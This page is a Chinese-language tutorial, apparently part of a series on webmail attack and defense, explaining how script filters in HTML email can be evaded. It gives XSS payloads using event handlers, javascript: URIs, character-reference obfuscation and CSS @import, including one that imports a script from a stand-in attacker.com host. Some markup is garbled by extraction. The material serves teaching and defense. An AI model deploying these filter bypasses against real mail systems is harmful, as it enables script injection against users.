Webmail攻防实战(4)_MAIL邮件服务器_黑客防线网安服务器维护基地--Powered by WWW.RONGSEN.COM.CN

Webmail攻防实战(4)

作者:黑客防线网安Mail教程网 来源:黑客防线网安Mail教程网 浏览次数:0

本篇关键词:实战程序字符executed
黑客防线网安网讯:  鉴于脚本程序可能带来的危险,WebMail系统完全有必要禁止html邮件中的脚本程序。禁止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如&#115cript元素等,在这方面...
  鉴于脚本程序可能带来的危险WebMail系统完全有必要禁止html邮件中的脚本程序禁止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码如script元素等,在这方面做的最好的莫过于hotmail了下面是些常见的绕过脚本程序过滤的方法,不少的WebMail系统仍然没有完全改正:   (1) 在html语言里,除了script元素内的或在script元素内引入的脚本程序能在html页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在Javascript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程序运行。它的语法如下:   <tag attribute1 attribute2 onEventName="javascript code;">   例如: <body onload="alert('Javascript#1 is executed');">
<a href="#" onclick="alert('Javascript#2 is executed');">Click here</a>
<form method="post" action="#" oubmit="alert('Javascript#3 is executed');">
<iut type="submit" value="Submit">
</form>
</body>   (2) URI(Universal Resource Identifier:通用资源标识)用于定位Internet上每种可用的资源,如HTML文档、图像、声音等。浏览器根据URI的资源类型(URI scheme)调用相应的程序操作该资源,如果把一些元素的URI属性值的资源类型设为javascript,则能够调用javascript程序运行。语法如下,注意要用“;”分隔不同的javascript语句:   <tag attribute="javascript:javascript-code;">   例如: <body background="javascript:alert('Javascript#1 is executed');">
<a href="javascript:alert('Javascript#2 is executed');">Click here</a>
<form method="post" action="javascript:alert('Javascript#3 is executed');">
<iut type="submit" value="Submit">
</form>
<img src="javascript:alert('Javascript#4 is executed');">
</body>   (3) 由于软硬件或其他原因,一些冷僻或特殊的字符不能输入或正确显示在html页面上,为了解决这个问题,html中可以使用SGML字符参考。字符参考是一种用来指定文档字符集中任何字符的独立编码机制,以“&am”开始,以“;”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“&am#D;”(D代表一个十进制数),或“&am#xH;”、“&am#XH;”(H代表一个十六进制数),例如“&am#65;”、“&am#x41;”表示字母“A”,“&am#27700;”、“&am#x6C34;”表示汉字“水”。   攻击者把html语句里的一些字符以数字字符参考来代替,这样能避开WebMail系统对脚本程序的过滤。需要注意的是,元素和属性不可以用字符参考表示,例如: <body>
<img lowsrc="j&am#97;vaam#67;ript:alert('Javascript#1 is executed')">
<a href="&am#x6a;av&am#x41;am#67;ript&am#x3a;ale&am#x72;t('Javascript#2
&am#x69;&am#x73 executed')">Click her&am#x65;</a>
<form method="post" action="javascript:alert('Javascript#3 is
executed')">
<iut type="&am#x53;ubmit" value="Submit">
</form>
</body>   (4) 样式表是层叠样式表单(C:Cascading Style Sheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),它能够将样式信息与网页内容相分离,在html语言的style标签内可以用@import声明输入一个样式表。但是,如果输入的资源类型或内容是javascript,Internet Explorer浏览器仍然会执行。

例如: <style type="text/c">
<!--
@import url(javascript:alert('Javascript#1 is executed'));
@import url(http://www.attacker.com/js.c);
-->
</style>   其中http://www.attacker.com/js.c的内容如下所示: @import url(javascript:alert('Javascript#2 is executed'));
@import url(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));   能够绕过WebMail系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“<script>”标签改成“<_a<script>”和“<<script>”的样子能绕过yahoo电邮的过滤,这个漏洞yahoo在最近才改正过来。
    黑客防线网安服务器维护方案本篇连接:http://www.rongsen.com.cn/show-19424-1.html
网站维护教程更新时间:2012-12-17 02:14:25  【打印此页】  【关闭
我要申请本站N点 | 黑客防线官网 |  
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479

footer  footer  footer  footer